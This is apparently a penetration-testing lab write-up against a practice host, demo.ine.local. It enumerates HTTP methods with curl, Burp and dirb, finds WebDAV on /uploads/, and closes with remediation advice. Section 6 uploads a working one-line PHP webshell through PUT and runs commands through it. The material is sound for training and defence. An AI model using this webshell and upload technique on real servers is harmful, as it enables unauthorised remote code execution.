2026-01-02 / Log: http_method_enumeration

HTTP Method Enumeration

HTTP Method Enumeration

Classification: Host & Network Penetration Testing / Web & HTTP Protocol
Target: demo.ine.local (192.118.51.3) — Apache

1. Executive Summary

Enumerating which HTTP methods a server allows can reveal dangerous capabilities. Using curl, Wireshark and Burp Suite, we probe the methods per resource and find a WebDAV-enabled /uploads/ directory (OPTIONS returns DAV: 1,2 with PUT/DELETE/MOVE). We abuse PUT to upload a webshell and get remote code execution.

2. Recon

ping -c 4 demo.ine.local

Ping target

Web application (login)

Observing the TCP/HTTP handshake in Wireshark.

Wireshark — interface (1)

Capture (2)

TCP handshake SYN/SYN-ACK/ACK

netstat -ant     # confirm the connection on reload

netstat

3. Probing Methods with curl

curl http://192.118.51.3/

curl — body

curl -I http://192.118.51.3/        # HEAD

curl -I — HEAD

curl -X OPTIONS -i http://192.118.51.3/     # allowed methods

curl -X OPTIONS (1)

OPTIONS response (2)

curl -X PUT http://192.118.51.3/test.txt -d "data"

curl -X PUT

4. Burp Suite

Routing through Burp and intercepting requests/logins.

Burp proxy (1)

Burp open (2)

Intercepting the page (3)

Intercepting a login (4)

Login request (5)

Sending to Repeater (6)

5. Finding WebDAV (/uploads/)

dirb http://192.118.51.3/        # /uploads

Dirb — /uploads found

Intercepting /uploads/ in Burp

Changing GET to OPTIONS on /uploads/ in Repeater shows WebDAV is enabled.

OPTIONS /uploads/ HTTP/1.1
->
DAV: 1,2
Allow: OPTIONS,GET,HEAD,POST,DELETE,TRACE,PROPFIND,PROPPATCH,COPY,MOVE,LOCK,UNLOCK

OPTIONS /uploads/ — DAV 1,2

6. Exploiting PUT → Webshell

PUT /uploads/shell.php HTTP/1.1
Host: 192.118.51.3

<?php system($_GET['cmd']); ?>

Uploading the webshell via PUT (1)

Webshell uploaded (2)

http://192.118.51.3/uploads/shell.php?cmd=id

Webshell command execution

7. Remediation Recommendations

  1. Disable WebDAV / dangerous methods (PUT, DELETE, MOVE, TRACE) unless required; make upload directories non-executable.
  2. Restrict allowed methods per resource (e.g. LimitExcept) and require auth for writes.
  3. Validate uploads server-side and store them outside the web root.
  4. Monitor for PUT of executable extensions and anomalous method usage.